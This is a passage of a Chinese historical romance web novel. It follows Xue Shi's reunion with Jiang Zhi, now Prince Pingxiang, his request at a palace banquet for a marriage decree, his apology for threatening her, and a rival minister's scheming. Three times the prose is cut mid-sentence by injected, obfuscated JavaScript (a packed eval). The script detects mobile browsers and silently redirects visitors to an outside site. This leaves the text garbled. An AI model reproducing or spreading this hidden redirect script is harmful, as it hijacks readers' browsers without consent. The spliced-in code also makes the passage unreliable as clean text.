她所有心思只在为客人代笔和都亭驿那边与江岑许有关的消息上,以及借一切机会探查江措留下的那枚瑟瑟。 除此之外的事,她只听闻了北朔有一守城将领用兵如神,既一举收复了失守的城池,又让关塞主动退了兵外。 但也只是客人随口提及的寥寥数语,她未细听。 也因此,她一点不知这个守城将领的名字,更不知他如今已封了王,名冠京城。 记忆轮番往复。比起以往,每晚睡时都不受控回想的那三年,又多了今日在都亭驿外的情景。 只是,她好像一直没能度过记忆里,年复一年的漫长冬日。 她想见见春天,于是睁开了眼。 然后,她看到了江执。 52. 重逢 眼前的人侧身躺在里边,右手撑着脑袋面朝她的方向,合眼睡着。 薛适裹着棉被,躺在外侧,在客栈不算大的床上,他们躺在一起属实逼仄,其间余留的窄窄一条细缝近乎可以忽略,因而看上去,她的额头好像抵在他的胸口,亲密又克制的纠缠。 薛适下意识将呼吸放轻,一眨不眨地看着对面的人。安宁的睡容将他的冰冷与淡漠尽数柔和,只余熟悉的温柔,没有任何藏掩。 这样看着,除了比起从前棱角更加锋利、气质更加迫人外,他好像还是原来的模样。 忽地,眼前的人皱了皱眉,像是觉得痒。薛适注意到他的侧脸落了根长发,看颜色和长度,显然是她的。脸蓦地一热,她赶忙从被下伸出手,打算给他拿开。 恰在此时,面前的人睁开了眼。 带着些刚刚睡醒的慵懒,但视线甫一落在她身上,却瞬间变得幽深而邃暗,像是吸卷人的漩涡,晕眩迷离又无法挣脱。 薛适慌乱地眨了眨眼,立刻收回手,却被他更快一步拦在半空,一把握住手腕,将她又拽近了些。 他垂眸看着她,目光寸寸游连,极缓极深。许是因他每一次落下的视线都要停留许久,反复凝涟,薛适竟觉得,他并不像所说那般恨她。 只是此刻她无法细想。 眼前人愈靠愈近,灼热的气息喷散在她的颈间,激起阵阵颤栗,周身气息是陌生而逼人的霸道。不安与紧张猛烈驱击着心跳,薛适紧紧闭上眼将头偏开,挣扎又无措。 灼热的气息似乎远淡了些。 空气一片静默,但暗涌的暧昧气氛却丝毫未散。 良久,薛适听见耳边一声轻浅的笑,然后额上落下一掌,不过只微触了下就移开了。 “睡了三天,烧退了,脸怎么还这么红。”听到询问,薛适下意识就睁开眼,却随即被人戳了下眉心,江执语调玩味,问她,“想什么了?” “我……” “反正,不是想离开长安就好。”江执却是先一步说道。 薛适微微一怔,感受着退烧后残留在额上的薄汗,先前断掉的思绪重连,她想到什么,大着胆子问:“为什么?” “王爷说厌恶我,想杀我,我应该逃命的。” 空气静默了瞬。 薛适看见江执像被什么刺痛般,瞳孔骤地一缩,但下一刻就已恢复如常。 良久,他语气认真,视线紧锁在她身上,声音发紧:“你若相信我说的所有话,那如果我现在说…… 我想你留下来,你会信么?” 薛适怔了下,眼睛圆圆亮亮地。过于近的距离,为了更清楚地捕捉他脸上的每一分神色,她仰着头,眸底始终映着他。 江执被这样清澈又直接的眸光盯得喉咙发紧,一些竭力压抑的渴望无声躁动,最后艰难地,只成为喉结处一下顿跳的滚动。 但眼神,还是会不由自主地落在她的唇上。 恰而一抹笑晕过,“我信。” 在他晦暗的眸光中,她却明媚又灿烂,眉眼弯弯,亦如从前。 然后,他听见她说:“平襄王,请多多指教啊。” 正应三年前,洛阳城郊破庙的夜,他们约好的再相见。 薛适觉得,虽然江执在都亭驿外说了狠话,又拿匕首扬言要杀她,但好像,都不是真的。 不然在客栈这三天,她烧得不省人事,他想怎么下手她都不会察觉。 薛适虽有些看不懂他总是复杂汹涌的眸色,但可以确定的是,那不是属于恨的。 何况现在看来,他的种种行径都有原因。给她盖棉被是为了让她生汗退烧,至于银针……薛适动了动十指,红肿已消了大半,比起先前也轻快灵敏了些,似乎是为了给她治手。 而希望她留下来,应该是没有忘记为江措报仇的事。现在的他已经有能力去调查真相、抗衡仇敌。而她作为亲历者,又与江措关系交好,留在长安用处自会大一些。 既然他暂且不会杀她,薛适自要留在他身边一起调查,这三年以她的能力打听到的有用线索太少,跟着他进度定然会快些。 无论怎么想,此刻在她身边的江执,远比骑马回京时咄咄逼人的样子要更加真实。 等她回过神,江执已起身下床整理好衣服。见他有些急促,薛适坐起来,靠在床边问:“是出什么急事了吗?” “嗯。” 江执说完就转身往外走了。 薛适说不上心里是何情绪,仔细想来,应该算有些失落。 虽然江执看起来不恨她,但因当年遗诏的误会,他心里始终存着芥蒂吧,所以才忘了他说过要重新认识一下的话,对她刚刚的试探毫无反应。 远去的背影比起从前更加高大,即便他已经回来了,但薛适望着望着,却觉得他还是很远。 连那颗一直急着想要解开误会的心,也动摇了。 因为她会忍不住想,既然那日在都亭驿外,他说的话和做的事是截然相反的,那么当年会不会也是如此? 会不会……他知道自己没有抛下他、没有背叛他? 只是,薛适不敢堵一个毫无把握的答案。 如果要说出伪造遗诏的真相,势必要言明原因,言明……对他的心意。 以他的性子,若知晓自己被不喜欢的人纠缠上,应该会觉得十分厌恶吧。 但薛适没打算放弃,虽一时担忧,越了这条线会是不太好的结局,但她迟早要说明一切,不管他信不信。 好在他们目前相处尚算平和,她也能多了解下,隔着未知的三年里,现在的他是什么样的性格。再找机会,依适当的方式,诉出曾经的难言。 这么想过后,薛适轻松不少,梳洗完便检查着箱笼里代笔的东西。 一阵忙碌过后,忽地传来敲门声,正疑惑还有谁会知道她在这时,门外传来熟悉的声音:“可以进来么。” “……王爷?” 薛适没想到会是江执去而复返,她说了声“可以”,就见江执端着个托盘走了进来。 他将托盘上的东西一一放在桌上,顿时好些个碗碗碟碟映入眼帘。 见薛适瞪着眼,一副不解又惊诧的模样,江执扬唇笑了笑:“不是说要让我多指教么。 那第一件事,就请薛姑娘多吃饭养身体。不然太瘦,总是生病。” 他抬手握了握她的手腕,像方才那样。但这次只攥了下便松开了,并未太用力。 “快只剩骨头了。” 薛适被江执推着坐在椅子上,看着桌上道道菜肴,有香黏的杏仁饧粥,磨碎的杏仁洒在大麦粥上,简单却不失营养;有清甜润喉的蒸梨,挖上一口软糯甘美,唇舌甜蜜;还有鲜美的秋葵汤搭配热腾腾的毕罗,愈品愈香。 薛适咬着毕罗,眼睛亮晶晶的:“都是王爷……亲自做的?” 她住的这间客栈没花多少银子,不可能提供如此丰盛的早餐,即便是江执好心买的,也无法在半个时辰买到这么多种类的吃食。 “怎么,嫌弃我?”见她除了毕罗外还喜欢吃蒸梨,江执把盛着蒸梨的碟子又推近了些。 “怎么会,我是想说很好吃。”薛适确实很久没有这般心满意足地吃过一顿饭了。 想到他说起指教,薛适暗暗弯了弯唇。 原来,他没有忘记那时说过的话。 这样看来,或许用不了多久,她就能心无忧虑地说出一切,即便结果不好也不会犹豫。 “王爷也吃,不然该浪费了。” “没事,剩下的给你带回去。”江执不动声色问,“你住哪?” “我住……”刚想开口,又一阵敲门声传来,远比江执敲的更急更用力。 他皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120334|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下眉:“先吃,我去开门。” 江执起身才将门打开一条缝,门外气急败坏的声音就已迫不及待地传了进来。 “我说你这人还是这么不厚道!也不告诉我们一声,带着东朔就连夜往长安跑,要不是及时发现你们两个走了,我和临辞再追三天也追不上!” 说话的人推了下门,没推动,更气了:“你堵在门口作甚?让我进去喝口水都不行?” 江执脚下丝毫未动,他回头看向薛适:“是萧世子和临辞,我这就让他们走。” 萧乘风:“?” “不用,快请他们进来吧。” 薛适有些意外的是,江执会如此直接地在明面上,同她提起萧乘风和临辞这些与江岑许有关的人。 江执松开堵门的手,萧乘风渴得直冲进来,身后跟着的临辞歉然拜礼。 只是这一进,看到桌边坐着的人,两人皆是一怔。 眼前女子一身清丽的竹青衣裙,长发柔柔披散,只用一支木色毛笔束起,不施粉黛的容颜无暇纯净,恬淡的气质让人一眼看去便心生宁静。 但含笑望过来的时候,又将这分宁静添了灵动的生机,极具感染力。 萧乘风挑了挑眉。 啧,怪不得这厮堵在门口不让他进…… 临辞虽早听闻薛适为女子,但眼下第一次见到她着女装,还是惊地怔在原地,一时无法想象和男装时的“薛待诏”会是同一个人。 怎会有人男装女装既有相似之处又如此截然不同啊…… “好久不见。” 薛适倒好两杯水,欲要起身给萧乘风和临辞递去,却被江执先一步接过,朝两人笑得很是咬牙切齿:“自己过来拿。” 对上江执的脸,临辞立即恍然。 太过熟悉他都险些忘了,主子不也是? 萧乘风又给自己连倒了好几杯,喝够之后才慢悠悠阴阳怪气道:“怪不得某人快马加鞭赶回来,所谓的急事,就是急着见人啊。” 薛适这才想起来,街上聚着的人确实说过,江执是因为有急事才先一步回京的。 所以……他是为了见她? 薛适是不信的。萧乘风惯爱说笑,应是故意气江执,怪他刚才堵门不让进。 江执直接伸腿踢了萧乘风一脚,却没有否认,反而得意地勾了勾唇:“怎么,你羡慕?” “……行,我羡慕,成了吧?”萧乘风故作感怀地叹着气,“见完人早点回去布置军务啊,大家都快回来得差不多了。” 说完,搭着临辞的肩,大摇大摆地离开了。 薛适起身:“王爷还有事,我们快走吧。” 江执叫来小二帮忙打包,“住哪,我送你回去。” 薛适笑着摇摇头:“就春水河沿岸的第四间院子,我骑马回去就好,不远的,王爷无需送我。” 他现在毕竟是名满京城的大人物,刚和她起过冲突没几天,转而就一起走在街上,定会引起诸多版本的坊间传闻。 更主要的是……薛适怕跟他待得越久,自己心思越乱,会忍不住想他方才为什么没有否认萧乘风的戏言。 薛适背起箱笼准备往外走,却听见江执的声音在她身后响起。 “薛适。” 久违地,听见他叫起她的名。 纵使三年没见,但声音却熟悉到,好像他们从未分开过。 “我很久没回长安了。” 江执几步走到她面前,将她背着的箱笼卸下,转而拿在自己手里。这一动,薛适清晰看见他左手腕上,颜色有些陈旧但依旧完好的那条五色缕。 而他的声音随之落下,同样清晰。 “很想你……” 他顿了顿,似怕惊到谁,目光专注却不带压迫,分外轻柔。 然后,语气自然地接道,“带我故地重游一下。” 53. 赏赐 虽退了烧,但从江执送她回家放过吃食,到现在照常出来摆摊,中间很长一段时间过去,薛适还是觉得有些发懵。 “薛姑娘!你回来了!” 直到徐砚和沈盈袖激动的声音传来,才拉回了她的思绪。 徐砚急道:“以往你摆摊都是依着固定时辰,无一日耽误,结果那天遇见平襄王后我就再没看见你过来。要不是我和沈小姐等到今天终于看见了你,都要怀疑你是不是被平襄王暗中杀害了……” “平襄王才不是滥杀无辜之人!”虽然沈盈袖也觉得,那日江执拿匕首挑着薛适下巴的模样太过骇人,但对他的品行绝无怀疑。 只是看着薛适稍显病弱的容色,还是担忧问,“薛姑娘,你脸色不太好,莫不是……真与平襄王有关?你以前得罪过他?” 薛适没想到两人会如此担心自己,她摇了摇头,歉然笑道:“让你们担心啦,我没事的,只是天冷染了风寒,发了几天烧才没来。” “平襄王也很好,我和他……” 薛适顿了顿,脑中不由再次浮现出那句“很想你”。 明明是正常的停顿,但许是江执说起时的神色太温柔,又或是她对他本就存了那样的心思,让她这一路都觉得像是踩在云端,轻而飘忽,重则坠落,美好却不真实。 薛适这略显漫长的沉默,倒让一旁担心她的徐砚和沈盈袖,把心瞬间提到了嗓子。 好在她很快继续开了口,连思绪也清明。 “我和他有些误会,但平襄王好像……没有我以为的那么在意这个误会,也没有表现出的那么想杀我。像那个匕首,其实只轻触了下,没有用力,就是看起来吓人。” 那日她虽惊喜江执平安归来,但也担心他会恨得直接杀了她,所以忽略了很多细微之处,眼里只看得到他并不算真实的凶狠。 徐砚见薛适笑意如常并无异样,这才重重松了口气。沈盈袖也放下心,毕竟根源都在她,若不是薛适为了推开忙着取符的她,险些被平襄王手下的马伤到,也不会一下子和平襄王正面碰到。 徐砚这边已经放心地回到了铺子里忙碌,沈盈袖则依旧站在摊前,仍是心有余悸的模样,薛适稍稍一想便知了缘由,温和开口:“沈小姐还有什么想要代笔的吗?可尽管提,我赠一次,不必付银子。若不是有那日机缘,我们也无法相识,理应延续。” 沈盈袖微微一愣,薛适虽没明说,但俨然是在委婉地安慰她不要将那日惊马的事放在心上。 心头顿时暖暖的,沈盈袖终于笑起来,甚至带了些撒娇的口吻,故意道:“啊,只能一次嘛。” “那就,一百次。”薛适也跟着笑道。 如此下来,沈盈袖和薛适更加熟络了,几句之后已直呼对方名讳。 “阿适,腊月二十八那天是我舅母的四十生辰,她人特挑剔,尤其注重容颜。往年爹爹和娘亲在家,都是他们操心的,但今年他们两个有事去蜀地了,就得我去赴宴。”沈盈袖唉声叹气道,“我本想着给她买些胭脂水粉,但怕她看不上,不如你看着帮我写一副寿词?你文采好,字也好,她再有嘴也定挑不出错。” “好,”薛适记下沈盈袖对她舅母性情的描述,“不用担心,还有一个多月时间,足够我写完,再让你反复看过哪里需要修善的呐。” - 与此同时,长安城郊。 江执清点完从关塞回来的将士,让他们先行归家休整几天,再跟着临辞和东朔继续训练。 “这地方真不错,你还挺会找。”萧乘风满意得不行,拉着江执连绕了好几圈。 “反正这的山匪都被剿灭了,寨子空着也是空着,如此得天独厚的地势,不用来练兵岂不可惜。” 寨中空地广阔,正适合改造成练武场。周边悬崖陡峭,远处林木茂密,既能防外人闯入打扰,又能模拟作战环境。 “不过,明文昌没打你手上不忌军的主意?” 江执能击退关塞,除了什雅暗中培植自己的势力与他们配合,共同谋求和平外,最重要的是他结集了北朔等城池的有义之士。 他们无官职在身,只是拥有武功的普通人。因怀揣护国平边的热血之心,毅然决然地选择了跟他一起出生入死,同先前借游目院培养的那些人,组成了不忌军。 不忌生死祸福名利,但忌国破家亡难敌。 这样一支击退关塞的强劲军队,却是由江执组建,听命于他,江抒不觉得什么,该有的封官赏赐皆不误,但明文昌怎会允许?定会想办法削权限制。 不过,江执嗤笑了声:“明文昌现在还顾不上。” “也是,你光明正大地叫本名了,他指不定怎么回忆‘前太子江执’死的过程呢,晚上的接风宴,肯定少不了要试探几嘴。” 江执没怎么放心上,只是目光黯了黯:“带我去看看卫一他们埋骨的地方吧。 刚好奚玄不也在那吗。当年的账,该一笔笔讨回来了。” - 转眼,日落西山,天色渐沉。 大明宫麟德殿上,却是流光溢彩,热闹非凡。 江抒和明茵坐于主位,明文昌坐在下边靠明茵一侧,对面是离江抒更近些的江执和萧乘风,再往后是其他文武百官。 曾喜自由厌恶皇宫的年轻帝王,如今龙袍加身,眉宇间也添了威仪之气,目光淡淡扫向众人:“为迎平襄王及萧世子带人退敌回京,朕今日特设接风宴,愿我大益人才辈出,永远安定!” 说完,他起身举杯,其他人也纷纷躬身庆祝,皆朝着江执和萧乘风的方向,正式开宴。 美酒佳肴纷呈,歌舞声乐交织,文武百官敬过江抒之后,不少人却是走到江执跟前恭顺敬酒,各个语带攀附之意。 新帝登基正值关塞来犯,这平襄王无疑是替皇上稳住江山的大功臣。虽江接已死,袁家已去,几乎明家一手遮天,但仍有部分中立的朝臣受不了长期听命于明相,处处受制的现状,眼下赶忙将主意打到了平襄王身上。 今夜的江执一身绛紫衣袍,金冠束发,屈膝坐在位上,懒散而闲适,少了领兵打仗的威凛,倒多了几分风流贵气。 他笑着一一碰杯:“明相为官多年,先后辅佐两代帝王,本王怎可相比?诸位就算吊死在本王这棵树上,也熬不过明相吧?所以,还是别往本王身上费心思了。” “……” 众人听后,脸色皆是一白。他们万万没想到这平襄王,竟会如此直接地拒绝与他们站队。更奇怪的是,虽嘴上说着明相辅佐两代帝王,但语气里却丝毫没有尊敬之意,还夹枪带棒地说明相挺能熬。 只能说……好毒的嘴,不比明相好对付多少。 明文昌却是分外平静:“平襄王性情直率,倒是应了名,虽字不同,但唤起来总归是一样的。” 明修在一旁及时道:“也真是巧,平襄王的名竟与前太子一模一样。嗯……”他故作思忖状,好半天才一副想通的表情,“若前太子殿下活着,如今也该是平襄王的年岁了。” 江抒目露怀念:“三哥七岁那年离世,如今十五年过去,应是二十有二。 若活着,确实与平襄王同龄。” 话音一落,殿中空气立即凝固起来。 名一样,年纪也一样,如何不引人浮想联翩?虽无人说话,但关于平襄王的猜测,显然再次无声在朝臣眼中流转。诸如前太子借尸还魂,前太子假死归来……各个极具危险而神秘的色彩。 但江执却没露出任何异色,只点头笑应道:“是怪巧的,实乃臣之幸。 皇上也知道,臣是沧州人,家境贫寒,家父看了《论语》那句‘富而可求也,虽执鞭之士,吾亦为之’后,才为臣起名为‘执’,提醒臣长大后一定要追求合乎于道的富贵。 而且,关塞王女在交退兵书的时候,生怕事关重大有人假冒臣,影响两国达成和平,特地遣人查证了臣的身份。若是有谁不信,可亲自去关塞走一趟,问问王女此事是否属实。当然,”江执不紧不慢地看向对面,眉梢讥诮一挑,“若明相和明侍郎还是对臣的名有意见,臣愿请皇上赐名。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129696|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一番话说得滴水不漏,连关塞王女都搬了出来,即便明文昌再怀疑江执就是前太子假死归来,一时间也无法辩驳戳破。 明修还想说什么,江抒却是直接开口:“爱卿之名甚好。即便三哥在世,也定不会因臣子姓名与他相同,就要求更改。 对了,借着今日的接风宴,朕正好问问两位爱卿想要什么赏赐?” “臣想要的,皇上已经给了。”萧乘风先行拜礼道,“多谢皇上赐婚臣与宣凝郡主。” 提起这事,江抒唇边的笑意盛了些,好像又回到了以前那个无忧无虑的四皇子:“你赴北时,宣凝日日哭着去荐福寺为你祈福问佛,几乎是住进了寺里,朕亦知你并不讨厌她。虽说你与小五有婚约,但……”江抒叹了口气,略显伤怀道,“若小五活着,她肯定也希望你可以拥有幸福。 不过,虽说你心愿已成,但该有的其他赏赐,朕定不会少了你。” 江抒又看向江执:“平襄王呢?” “臣没有什么想要的,只除一件事。” 大殿之上,在文武百官的注视下,紫衣青年垂首而立,坚定的声音字字落下。 “臣想请皇上,为臣赐婚。” 霎时,满殿哗然。 谁能想到功成名就的平襄王,竟只求皇上赐婚为赏? 十有八.九,是有心上人了。 方才不死心的朝臣,本想将自家适龄的女儿找法子推给平襄王为妃为妾,没想到这么快,就再一次心死了,各个幽怨地竖起耳朵,想要听听这富贵,到底泼到了哪个同僚。 江抒也是眼睛一亮,险些掩不住好奇:“哦,平襄王才刚回京,就已经有喜欢的人了?是哪家的姑娘?” 令所有人意外的是,平襄王并未明言,只留下语焉不详的一句。 “还在等。” 江执唇角微勾,光影泻落,说不尽的温柔。 “届时,惟请皇上成全。” …… 接风宴不过刚结束,关于平襄王只请求皇上赐婚作赏的消息,就经宫婢侍从传遍了京城。 沈盈袖捧着脸坐在薛适旁边,目光熠熠:“啊,平襄王居然这么会吊胃口!那句‘还在等’到底是什么意思呀。一般人被问及有无喜欢的人,不应该直接说有或者没有吗?” 徐砚关好铺子,也跟着一起在薛适摊前凑热闹:“应该就是先和皇上说一声,等以后有心上人了再进行指婚。” 沈盈袖不以为然:“我还是觉得平襄王八成是有喜欢的人了,不然怎会铁了心思只请皇上赐婚,其余赏赐都不求?“ “看来回去就得毁掉阿适给我写的那纸姻缘符了……不过这么一看,梵文写的符是真的灵诶!虽然最后求的是平襄王和别人的姻缘,但也是美事一桩!” 见沈盈袖越说越激动,徐砚赶忙开口道:“还是不要再和薛姑娘说平襄王的事了。无论怎样,平襄王可是用匕首吓唬过薛姑娘,薛姑娘不生他气已经很好了,怎还会愿意听他的这些私事?” 想到那一幕,徐砚就觉得后怕。还是他腿脚不够快,不然多少也能上前挡一挡。 “不过薛姑娘你放心,下次平襄王若还是这么吓唬你,我就……” “你就如何?” 徐砚正说着,一道散着笑意的声音落在身后,却莫名令他觉得阴恻恻的。 “王……王爷?”沈盈袖最先注意到来人,惊地忙站起身,瞬间慌得手心都是汗,下意识握紧了薛适的袖子,垂着头作鹌鹑状,无措至极。 该不会,她刚刚说的那些话都被平襄王听到了吧…… 这可是在她仰慕的人面前啊!呜,好丢脸…… 徐砚瑟缩了下肩,愣愣转身,看着眼前眉目沉凛的高大男子,却是心一横,大着胆子站在薛适和沈盈袖身前,铿锵有力道:“——我就,保护薛姑娘!” 江执眉梢微挑,眼神骤然凝暗下来,看得徐砚心惊胆战,好在片刻后江执就移开了视线,却是稍稍偏头,径直看向后面的薛适。 “收摊后,一起回家?” 54. 潮湿 徐砚:“?” 沈盈袖:“!” 两人一齐将视线落在薛适身上,微张着嘴巴,皆是掩不住的震惊。 江执先一步开口,波澜不惊地解释道:“春水河沿岸空着的三间院子,皇上欲遣人为我建造王府。 所以想提前和未来邻居熟悉一下,记记路。” 薛适本以为江执来找她可能是有什么事,没想到竟真是一起回家,也不由愣了下。 沈盈袖眼珠一转,看了看两人,敏锐地捕捉到几分不寻常,赶忙道:“那个……徐砚,我有一个话本子好像落在你的铺子里了,快帮我回去找找。” “可是——唔!” 沈盈袖直接踮起脚捂住徐砚的嘴巴就往外走,“我们有事先走一步,还请王爷见谅,你们聊!” 一眨眼的功夫,两人已隐入人群,摊上只剩下薛适和江执。 远处街上,人影幢幢,他们站在沉酽夜色下,咫尺相视。 长风呼啸掠过,身后河水泠泠动听,像是奔跑的海浪,将他们的一呼一吸,都卷起潮湿的水汽,纠缠不离。 薛适摸了摸发带,率先启唇,打破了此刻略显局促的静默。 “皇上怎会将王府选在春水河这边呐?王府宗宅不是大多在永嘉坊吗。” “皇上问了我的想法。”江执帮薛适收好摊,将雕花手炉递到她手上,两人沿着春水河畔一路向前走,周遭越发安宁,几乎听不见其他响动,唯有彼此说话的声音。 “早上和你来时,觉得春水河这很好,住的人少。 不用费力找,就能见到想见的人。” 许是宴上喝了酒的缘故,他今夜说起话来尾音偏缓,多了几丝缱绻意味。 也因而,视线相触时,这句寻常的话似是有了具体的唯一。 就好像他想见的人,是她。 薛适不动声色地垂下眸,浓密的睫毛接连跳了跳,像是曳动的细羽,遮下所有的流光。 不知不觉间,江执似乎已不若从前那样,总是把好话拐着弯子刻薄出口。 但她却觉得……更加难以猜透了。 不过接下来的话,他说得很是直白。 “你和徐砚很熟?” 薛适虽有些奇怪,怎么说着说着就聊到徐砚身上了,但还是如实应道:“嗯。我常去他的笔纸铺子进些纸砚,徐兄的眼光很好,卖的东西精巧特别又很实用。人也很好,热心良善,对我多有照拂。” “哦。”江执点点头,语调没什么情绪,但字眼却压得缓而重。 “那以后,我有空就去摊上接你回家。” 薛适:“?” “本王也想认识一下,你这位‘人很好’的徐兄。” “……” 薛适想他今夜应是饮了不少酒,所以才会说些别扭又奇怪的话,不禁蹙眉关切道,“王爷等会儿进屋稍坐片刻,我给你泡些醒酒茶。” 江执眉梢一跳,像是气笑了声:“我没喝醉。” “只是觉得,”他看着她,收敛起那股慵懒劲,一字一句认真道,“徐砚说得对,无论怎样,那日的匕首都吓到了你。” 薛适愣然地眨了眨眼,手炉的温热似自指尖瞬涌至心口。 她没想到他会突然提起这个。 江执跟着她一路走过将要被建成王府的那三间院子,却压根没看,目光始终落在她身上,对她道:“抱歉,薛适。” “在都亭驿接我回京的人是明修,明文昌的侄子。我以为先一步回来会避开他,没想到明修来得那么快。 可‘平襄王江执’,不该在长安认识任何人。唯一能合理知道的,只有‘和亲关塞的五公主’。” 他语调很淡,自嘲的讽意却浓。 “所以,就成了凭借所谓的正义,又或是亲情,去为‘和亲公主江岑许的死’向你表达愤懑的‘平襄王江执’、‘前太子江执’。” “但也卑劣地,这么多看了你一会儿。” 两人已走进屋内,江执净过手,轻轻将她拉在桌前的椅子上,垂眸看着她手的神情,像极了重逢那日。 薛适想到他屈膝蹲在摊前沉落的目光,也想到萧乘风在客栈时那意味深长的话语。 原来他急着回来,真的是为了见她。 可是…… “你不怪我伪造遗诏……将你送去关塞和亲了吗。” 先前的犹豫、担忧,无声无息间尽数消融。她什么也没想,只是本能地,顺着他的话问出了口。 银针根根落稳,江执的声音也随之落下:“我知道,你是因为有什雅在,才会选择这个办法。 只是那时候明文昌和江接看着,我怕他们怀疑是你我联合伪造和亲遗诏,会在我走后把所有罪责都推到你身上,甚至杀你了结一切,所以想着无论怎样,都要把你摘掉。 但没想到,”他将薛适的双手放于手炉的动作轻柔,眸色却骤然冷下,“还是牵累你受了拶刑。” 怕薛适会担心自己的手,他故意逗她:“你放心,每天都和‘人很好’的徐兄认识之后,我会过来帮你治手的,直到彻底痊愈的那天。 这几年在关塞学了不少大益没有的东西,施针也精进了下。” 将这些说完,他心中一直隐隐缠缚的、名为担忧和疼痛的荆棘,才算退去。 遗诏的事,他其实一回来就想找机会告诉她,但怕贸然提及会让她陷入那段不好的回忆,觉得难受;可迟迟不说清楚,他每一次出现,亦是在加深她的痛苦。 幸而今晚能够借着徐砚的话茬,从那日的匕首说起,将一切串联,解释明白。 他不想保护一个人的方式,总是一次两次地通过伤人的话语。 费力又无能。 良久,薛适的声音轻轻响起,好像在这一瞬间,她开口的刹那,时间倒转回了三年前。 “我有想过,殿下那时是在做戏给他们看。只是……”她掀唇笑了笑,轻松的口吻,唯有尾音带了丝几不可察的颤,“殿下太真了,我被骗了。” 落于莲上的仙鹤终于确定,那些叶柄和花梗上的小刺,从没想真正地伤害过她的羽翼。 曾因想起这件事就会蓦然揪紧的心脏,渐渐变得柔软,一切都清明。 原来那时在摊前,他是真的在问她,知晓他活着回来是否开心;久别重逢该怎样才好,也不是在提醒她,那句他活着回到长安就要她死的临别之言。 而此刻,她听见了他真正想说的话。 他说,“薛适,即便你真的背叛我,我也不会怪你。请愿寺外,迎请佛骨那日,我就答应过你的,只要你想抽身,无论需要我做什么,我都会帮你。 何况一直以来,都是你帮我更多一些。” 夜色愈加沉宁,似能放缓万物的流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14167568|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速,江执一刻不移地盯着她的手,记过时辰,又一一取出。 看着这样的他,薛适眼眶一热,鼻子也发酸。 她其实一点也不难过,只是后知后觉地明白一切,有些感慨。 她不该犹豫的。 这个人无论是戴着面具的五公主江岑许,还是坎坷多难的前太子江执,亦或是破敌征战的平襄王,都从未变过。 即便是刚认识他的时候,作为传言中荒唐无度、乖戾跋扈的“五公主”,看似可怕,却也从没有伤害过她。 心中轻盈,对上他的目光,她弯唇开口:“虽然晚了几天才回答,但……” “殿下,你活着回来,我真的很开心。 即便那时候我以为,你一回来就要杀我。” 彼时,边关战火止歇,长安繁宁重现。 她仍执笔摆摊,只是每当看向对面人来人往的都亭驿时,总会觉得—— “没有殿下在的长安,怪冷的。”她听见自己说。 好在今晚之后,她可以睡得很踏实。 因为她的梦里,冰雪消融,万物苏生。 再不会有过不去的冬日了。 - 与此同时。 今晚的接风宴结束后,不止是像沈盈袖一样的京城少女将注意放在了江执自请赐婚的事上,明文昌亦是猜不透江执的心思。 “修儿,过几日你借着侄媳的生辰宴,多请些世家小姐,看看平襄王到底欲和哪家结亲。” “好。”明修叹道,“真不知这平襄王到底葫芦里卖的什么药,哪有人请求赐婚不说和谁的。 难不成,他是想先抛出个橄榄枝,看看朝中都会有谁主动咬上,再决定同哪家联姻对自己最有利?” 不然他想不出其它缘由。 明文昌神色沉下,不置可否。 再想到江执可疑的身份,明修更加忍不住担忧:“伯父你说,平襄王真的就是当年的太子吗?这么多年过去,也无法比对容貌。性情呢,人长大也是会变的……” “不,”明文昌摇头否认,“他的性情很像幼时的太子。 而且你不觉得,平襄王有时候给人的感觉,也很像五公主么?” “啊?!”明修大惊,但细细想来又觉得有道理,“伯父这么一说,好像是有点。就说我在都亭驿接他的时候,他当街拿出匕首抵着薛适,那副要杀人的样,确确实实很像五公主……” 前太子和五公主是兄妹,两人性情如此相像,五公主幼时走水毁容戴了面具,后又和亲身死,紧接着平襄王横空出世…… 明修越想越乱,只觉得不寒而栗。明文昌倒是未再继续纠结江执的身份,“你不是说有奚玄的下落了吗?在哪。” 明修这才缓过神,回道:“在皇陵附近的一处废弃院落,除了他,并未发现其他人。” 说起这事他就头疼。没想到当初将奚玄带离京城的路上居然遭遇了刺客,刺客不为谋财害命只为将人带走,手法也并非江湖中人,显然是出自京中正统的武将。 他们本以为是江接下的手,但江接至死都未承认,而那些刺客下手实在干净,一点痕迹没留,只得先作罢。 “既然奚玄早已逃脱了咱们的掌控,那就瞒着茵儿,废了他的手脚,将他毒哑,这样也算留了他性命,又不致担心他会将一切说出去。” “是!” 55. 因果 第二天,薛适刚到春水河旁准备摆摊,就见沈盈袖早已蹲在树下,不停打着呵欠。 “盈袖?你怎么来得这般早,是出什么事了吗?” 